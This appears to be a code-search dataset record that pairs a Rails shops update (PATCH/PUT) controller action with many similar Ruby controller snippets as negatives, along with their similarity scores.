"def create\n @bookshop = Bookshop.new(bookshop_params)\n\n respond_to do |format|\n if @bookshop.save\n format.html { redirect_to @bookshop, notice: 'Bookshop was successfully created.' }\n format.json { render :show, status: :created, location: @bookshop }\n else\n format.html { render :new }\n format.json { render json: @bookshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sale = Sale.new(sale_params)\n\n if @sale.save\n render json: @sale, status: :created, location: @sale\n else\n render json: @sale.errors, status: :unprocessable_entity\n end\n end",
"def create\n @bookshop = Bookshop.new(bookshop_params)\n\n respond_to do |format|\n if @bookshop.save\n format.html { redirect_to @bookshop, notice: \"Bookshop was successfully created.\" }\n format.json { render :show, status: :created, location: @bookshop }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bookshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stack = Stack.new(stack_params)\n\n if @stack.save\n render json: @stack, status: :created, location: @stack\n else\n render json: @stack.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shoutout = Shoutout.new(create_params)\n if @shoutout.save\n render json: @shoutout, status: 201, location: api_v1_shoutout_path(@shoutout.id)\n else\n render json: { error: \"Application error\", status: 400 }, status: 400\n end\n end",
"def create\n @men_shop_collection = MenShopCollection.new(men_shop_collection_params)\n\n respond_to do |format|\n if @men_shop_collection.save\n format.html { redirect_to @men_shop_collection, notice: 'Men shop collection was successfully created.' }\n format.json { render :show, status: :created, location: @men_shop_collection }\n else\n format.html { render :new }\n format.json { render json: @men_shop_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shower = Shower.new(shower_params)\n\n respond_to do |format|\n if @shower.save\n format.html { redirect_to @shower, notice: 'Shower was successfully created.' }\n format.json { render :show, status: :created, location: @shower }\n else\n format.html { render :new }\n format.json { render json: @shower.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @shops = @shops.all\n end",
"def create\n @sprint = Sprint.new(params[:sprint])\n\n respond_to do |format|\n if @sprint.save\n format.html { redirect_to [:admin, @sprint], notice: 'Sprint was successfully created.' }\n format.json { render json: @sprint, status: :created, location: @sprint }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sprint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model_shoe = ModelShoe.new(model_shoe_params)\n\n respond_to do |format|\n if @model_shoe.save\n format.html { redirect_to @model_shoe, notice: 'Model shoe was successfully created.' }\n format.json { render :show, status: :created, location: @model_shoe }\n else\n format.html { render :new }\n format.json { render json: @model_shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_purchase = Shop::Purchase.new(params[:shop_purchase])\n\n respond_to do |format|\n if @shop_purchase.save\n format.html { redirect_to @shop_purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @shop_purchase, status: :created, location: @shop_purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def shops\n render :nothing => true and return if params[:id].nil?\n \n if ( params[:meta] == 'tattoos' )\n @shop = Shop.find(params[:id], :include => :tattoos)\n render :json => @shop.tattoos.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end\n \n @shop = Shop.find(params[:id])\n render :json => @shop.to_json(:include => :assets)\n end",
"def create\n @shop_customer = ShopCustomer.new(shop_customer_params)\n\n respond_to do |format|\n if @shop_customer.save\n format.html { redirect_to @shop_customer, notice: 'Shop customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @shop_customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @shop_customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shot = Shot.new(shot_params)\n\n if @shot.save\n render json: @shot, status: :created, location: @shot\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end",
"def create\n @share_operation = ShareOperation.new(share_operation_params)\n\n respond_to do |format|\n if @share_operation.save\n format.html { redirect_to @share_operation, notice: 'Share operation was successfully created.' }\n format.json { render :show, status: :created, location: @share_operation }\n else\n format.html { render :new }\n format.json { render json: @share_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scoot = Scoot.new(scoot_params)\n \n respond_to do |format|\n if @scoot.save\n format.html { redirect_to root_url, notice: 'Scoot was successfully created.' }\n format.json { render :show, status: :created, location: @scoot }\n else\n format.html { render :new }\n format.json { render json: @scoot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shoe = Shoe.new(shoe_params)\n\n respond_to do |format|\n if @shoe.save\n format.html { redirect_to @shoe, notice: t('notice.success.create',\n model: model_name) }\n format.json { render :show, status: :created, location: @shoe }\n else\n format.html { render :new }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n shop = Shop.find(params[:id])\n @shop_favorite = user_session.get_logged_in_user.shop_favorites.build(shop: shop)\n respond_to do |format|\n if @shop_favorite.save\n format.html { restore_last_request(notice: 'Shop favorite was successfully created.') }\n format.json { render :show, status: :created, location: @shop_favorite }\n else\n format.html { render :new }\n format.json { render json: @shop_favorite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @workshops = Workshop.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workshops }\n end\n end",
"def create\n @api_v1_shopping_list = ShoppingList.new(api_v1_shopping_list_params)\n @api_v1_shopping_list.save\n #@shopping_list = ShoppingList.new(api_v1_shopping_list_params)\n \n \n #if @api_v1_shopping_list.save\n # render json: @api_v1_shopping_list\n #else\n # render json: @api_v1_shopping_list.errors\n #end\n \n end",
"def create\n @growshop = Growshop.new(growshop_params)\n @growshop.user = current_user\n\n respond_to do |format|\n if @growshop.save\n format.html { redirect_to @growshop, notice: 'Growshop was successfully created.' }\n format.json { render :show, status: :created, location: @growshop }\n else\n format.html { render :new }\n format.json { render json: @growshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @home_promotion = Home::Promotion.new(params[:home_promotion])\n\n respond_to do |format|\n if @home_promotion.save\n format.html { redirect_to @home_promotion, notice: 'Promotion was successfully created.' }\n format.json { render json: @home_promotion, status: :created, location: @home_promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n if @promotion.save\n render json: @promotion, status: :created, location: @promotion\n else\n render json: @promotion.errors, status: :unprocessable_entity\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def create\n @shop_request = current_user.profile.shop_requests.build shop_request_params\n\n respond_to do |format|\n if @shop_request.save\n format.html { redirect_to @shop_request, notice: 'Shop request was successfully created.' }\n format.json { render action: 'index', status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @shop_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sprintstory = Sprintstory.new(params[:sprintstory])\n\n respond_to do |format|\n if @sprintstory.save\n format.html { redirect_to [:alumno, @sprintstory], notice: 'Sprintstory was successfully created.' }\n format.json { render json: @sprintstory, status: :created, location: @sprintstory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sprintstory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categories = Category.all\n\n if current_user\n @shop = current_user.shops.build(shop_params)\n # @shop = Shop.new(shop_params)\n respond_to do |format|\n if @shop.save\n format.html {\n # add socials with custom handler\n if params[:shop][:socials_attributes].present?\n params[:shop][:socials_attributes].each do |key, value|\n if value[:link].present?\n @social = Social.find_or_initialize_by(\n shop_id: @shop.id,\n link: value[:link],\n icon: value[:icon]\n )\n @social.link = value[:link]\n @social.icon = value[:icon]\n @social.save\n end\n end\n end\n # add payments with custom handler\n if params[:shop][:payments_attributes].present?\n params[:shop][:payments_attributes].each do |key, value|\n if value[:icon].present?\n @payment = Payment.find_or_initialize_by(\n shop_id: @shop.id,\n icon: value[:icon]\n )\n @payment.icon = value[:icon]\n @payment.save\n end\n end\n end\n\n redirect_to @shop, notice: 'Shop was successfully created.'\n }\n format.json { render :show, status: :created, location: @shop }\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n\n else\n \t\tredirect_to new_user_session_path\n end\n\n end",
"def create\n # @usage = Usage.find(params[:usage_id])\n # @shopping = @usage.shoppings.new()\n\n @shopping = Shopping.new(shopping_params)\n\n respond_to do |format|\n if @shopping.save\n format.html { redirect_to @shopping, notice: 'Shopping was successfully created.' }\n format.json { render :show, status: :created, location: @shopping }\n else\n format.html { render :new }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def index\n @shops = Shop.all\n end",
"def create\n @shoe = @runner.shoes.new(shoe_params) \n\n respond_to do |format|\n if @shoe.save\n format.html { redirect_to runner_shoes_path, notice: 'Zapatilla creada satisfactoriamente.' }\n format.json { render action: 'index', status: :created, location: @shoe }\n else\n format.html { render action: 'new' }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n format.js\n end\n end",
"def shop_params\n params.require(:shop).permit(:name,:quantity,:candy_id,:shelf_id)\n end",
"def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end",
"def create\n args = shop_params\n args[:day_date] = args[:day_date].gsub(/[年月]/,\"/\")\n args[:close_datetime] =\n args[:close_datetime].gsub(/[年月]/,\"/\").sub(/時/,\":\").sub(/日/,\" \")\n @shop = current_user.shops.build(args)\n if @shop.save\n redirect_to @shop, notice: \"出品されました\"\n else\n @shops = Shop.all.order(created_at: :desc)\n 5.times {@shop.images.build}\n render :edit\n end\n\n end",
"def create\n @sprint.save\n\n respond_with(@sprint)\n end",
"def create\n @shopping_area = ShoppingArea.new(params[:shopping_area])\n respond_to do |format|\n if @shopping_area.save\n format.html { redirect_to @shopping_area, notice: 'Shopping area was successfully created.' }\n format.json { render json: @shopping_area, status: :created, location: @shopping_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shopping_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n stock = Stock.find(params[\"stockId\"])\n personal_watchlist = PersonalWatchlist.find(params[\"personal_watchlist_id\"])\n\n personal_watchlist.stocks << stock\n render json: { personal_watchlist: personal_watchlist.stocks }\n\n end",
"def create\r\n @stages_work = StagesWork.new(params[:stages_work])\r\n\r\n respond_to do |format|\r\n if @stages_work.save\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully created.' }\r\n format.json { render json: @stages_work, status: :created, location: @stages_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @staging = Staging.new(params[:staging])\n\n respond_to do |format|\n if @staging.save\n format.html { redirect_to @staging, notice: 'Staging was successfully created.' }\n format.json { render json: @staging, status: :created, location: @staging }\n else\n format.html { render action: \"new\" }\n format.json { render json: @staging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sales_item = SalesItem.new(sales_item_params)\n\n respond_to do |format|\n if @sales_item.save\n format.html { redirect_to @sales_item, notice: 'Sales item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sales_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @sales_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def shop_params\n params.require(:shop).permit(:id, :name, :address, :phone_number, :website_url)\n end",
"def create\n @shogi = Shogi.new(shogi_params)\n\n respond_to do |format|\n if @shogi.save\n format.html { redirect_to @shogi, notice: 'Shogi was successfully created.' }\n format.json { render :show, status: :created, location: @shogi }\n else\n format.html { render :new }\n format.json { render json: @shogi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_checkouts(checkouts)\n _post(\"checkouts\", \"checkouts\" => checkouts)\n end",
"def create\n @shop = Shop.new(shop_params)\n @shop.enable_new_version = false\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to backend_shop_shop_steps_path(@shop) + \"/sms_message\" }\n format.json { render action: 'show', status: :created, location: @shop }\n else\n format.html { render action: 'new' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_review = ShopReview.new(shop_review_params)\n\n respond_to do |format|\n if @shop_review.save\n format.html { redirect_to @shop_review, notice: '가게 리뷰 작성 완료' }\n format.json { render :show, status: :created, location: @shop_review }\n else\n format.html { render :new }\n format.json { render json: @shop_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rush = Rush.new(params[:rush])\n\n respond_to do |format|\n if @rush.save\n format.html { redirect_to @rush, notice: 'Rush was successfully created.' }\n format.json { render json: @rush, status: :created, location: @rush }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rush.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.68150663",
"0.6472888",
"0.63746464",
"0.6346631",
"0.63038427",
"0.63038427",
"0.6256386",
"0.6253434",
"0.6151498",
"0.6151498",
"0.6089625",
"0.6073879",
"0.6012835",
"0.5967755",
"0.5931647",
"0.5889389",
"0.5888434",
"0.5857539",
"0.5838185",
"0.58163667",
"0.5756799",
"0.5756493",
"0.57407033",
"0.5715791",
"0.5702806",
"0.5625228",
"0.56211174",
"0.56205976",
"0.5619512",
"0.56184924",
"0.5600468",
"0.5592752",
"0.5569272",
"0.55639035",
"0.55631614",
"0.55566484",
"0.55385303",
"0.55264336",
"0.55234694",
"0.5521098",
"0.55105776",
"0.5509356",
"0.5505375",
"0.54887307",
"0.5484893",
"0.5476136",
"0.5471056",
"0.54662895",
"0.54602516",
"0.54573476",
"0.5452539",
"0.5431826",
"0.542705",
"0.5426907",
"0.542611",
"0.5422115",
"0.5420481",
"0.54204154",
"0.5416047",
"0.54119533",
"0.5405671",
"0.54029065",
"0.53970057",
"0.53923637",
"0.5391678",
"0.5388602",
"0.53865194",
"0.5385395",
"0.5378939",
"0.5356841",
"0.5355903",
"0.5350301",
"0.5344116",
"0.53351426",
"0.5323437",
"0.53170127",
"0.531584",
"0.5312209",
"0.530934",
"0.53069854",
"0.5298439",
"0.5298439",
"0.5298439",
"0.5298439",
"0.5298439",
"0.52942544",
"0.5293255",
"0.52891964",
"0.5286235",
"0.5280726",
"0.5268349",
"0.52599704",
"0.5256919",
"0.5245889",
"0.5244898",
"0.5239894",
"0.5235189",
"0.5232685",
"0.5226804",
"0.5224196",
"0.522409"
] |
0.0
|
-1
|
PATCH/PUT /shops/1 PATCH/PUT /shops/1.json
|
def update
respond_to do |format|
if @shop.update(shop_params)
format.html { redirect_to @shop, notice: '店舗の更新をしました' }
format.json { render :show, status: :ok, location: @shop }
else
format.html { render :edit }
format.json { render json: @shop.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n\n # update shops\n shops_edit = JSON.parse(params[:mall][:shops_in_mall])\n\n respond_to do |format|\n if @mall.update_with_shops(mall_params, shops_edit)\n format.html { redirect_to director_malls_path, notice: 'Mall was successfully updated.' }\n format.json { render :show, status: :ok, location: @mall }\n else\n format.html {\n @shops = Shop.to_options.to_json\n @shops_in_mall = @mall.shops.to_options.to_json\n render :edit\n }\n format.json { render json: @mall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scoop.update(scoop_params)\n format.html { redirect_to scoops_path, notice: 'Scoop was successfully updated!' }\n format.json { render :show, status: :ok, location: @scoop }\n else\n format.html { render :edit }\n format.json { render json: @scoop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n if @shop.update(shop_params)\n head :no_content\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to shops_path, success: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to shops_url, notice: 'Shop #{@shop.name} was successfully updated.' }\n format.json { render :show, status: :ok, location: shops_url }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to backend_shop_path(@shop), notice: t('Shop was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n if @shop.update(shop_params)\n render :show, status: :ok, location: @shop\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update!(**args)\n @operations = args[:operations] unless args[:operations].nil?\n end",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n @service_name = args[:service_name] if args.key?(:service_name)\n end",
"def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to @shoe, notice: t('notice.success.update',\n model: model_name) }\n format.json { render :show, status: :ok, location: @shoe }\n else\n format.html { render :edit }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shop.update_attributes(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shoe = Shoe.find(params[:id])\n\n respond_to do |format|\n if @shoe.update_attributes(params[:shoe])\n format.html { redirect_to @shoe, notice: 'Shoe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to runner_shoes_path, notice: 'Zapatilla actualizada satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sprint.update!(sprint_params)\n json_response(@sprint)\n end",
"def update\n @sys_op = SysOp.find(params[:id])\n\n respond_to do |format|\n if @sys_op.update_attributes(params[:sys_op])\n format.html { redirect_to @sys_op, notice: 'Sys op was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sys_op.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @shop\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def put(*args)\n request :put, *args\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update!(sobject, attrs)\n id = attrs.has_key?(:Id) ? attrs.delete(:Id) : attrs.delete('Id')\n raise 'Id field missing.' unless id\n api_patch \"sobjects/#{sobject}/#{id}\", attrs\n true\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @workshop.update(workshop_params)\n format.html { redirect_to @workshop.to_param, notice: I18n.t('views.workshop.flash_messages.workshop_was_successfully_updated') }\n format.json { render :show, status: :ok, location: @workshop }\n else\n format.html { render :edit }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to edit_shop_path(@shop), notice: 'Preferences have been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @operations_check = OperationsCheck.find(params[:id])\n\n respond_to do |format|\n if @operations_check.update_attributes(operations_check_params)\n format.html { redirect_to @operations_check, \n notice: 'Operations check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operations_check.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apply_shop.update(apply_shop_params)\n format.html { redirect_to @apply_shop, notice: 'Apply shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apply_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n put :update\n end",
"def update\n id = shift_argument\n validate_arguments!\n dataclip_reference = options[:dataclip]\n uri = URI(\"#{base_url}/#{id}\")\n req = Net::HTTP::Patch.new(uri.path)\n body = prepare_body(dataclip_reference)\n execute_and_print(uri, req, body)\n end",
"def update\n respond_to do |format|\n if @model_shoe.update(model_shoe_params)\n format.html { redirect_to @model_shoe, notice: 'Model shoe was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_shoe }\n else\n format.html { render :edit }\n format.json { render json: @model_shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to admin_operations_path, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def update\n @shop_ose = ShopOse.find(params[:id])\n\n respond_to do |format|\n if @shop_ose.update_attributes(params[:shop_ose])\n format.html { redirect_to @shop_ose, notice: 'Shop ose was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_ose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: \"Shop was successfully updated.\" }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop_claim = ShopClaim.find(params[:id])\n\n if @shop_claim.update(shop_claim_params)\n head :no_content\n else\n render json: @shop_claim.errors, status: :unprocessable_entity\n end\n end",
"def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :json => @operation.to_json(:include => :task) }\n else\n format.html { render json: @operation.errors, status: :unprocessable_entity }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n format.html { redirect_to admins_shoppings_url , :notice => 'O Shopping foi actualizado com sucesso.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @shopping.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n @shop_section = ShopSection.find(params[:id])\n\n respond_to do |format|\n if @shop_section.update_attributes(params[:shop_section])\n format.html { redirect_to shop_section_products_path(@shop_section.short_url), notice: 'Shop section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @shop_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop_item = @flat.shop_items.find(params[:id])\n\n respond_to do |format|\n if @shop_item.update_attributes(params[:shop_item])\n format.html { redirect_to [@flat, @shop_item], notice: 'Shop item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to(@shop, :notice => 'Shop was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shop.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def update\n respond_to do |format|\n if @shopdetail.update(shopdetail_params)\n format.html { redirect_to @shopdetail, notice: 'Shopdetail was successfully updated.' }\n format.json { render :show, status: :ok, location: @shopdetail }\n else\n format.html { render :edit }\n format.json { render json: @shopdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shelter = Shelter.find(params[:id])\n\n if @shelter.update(shelter_params)\n head :no_content\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
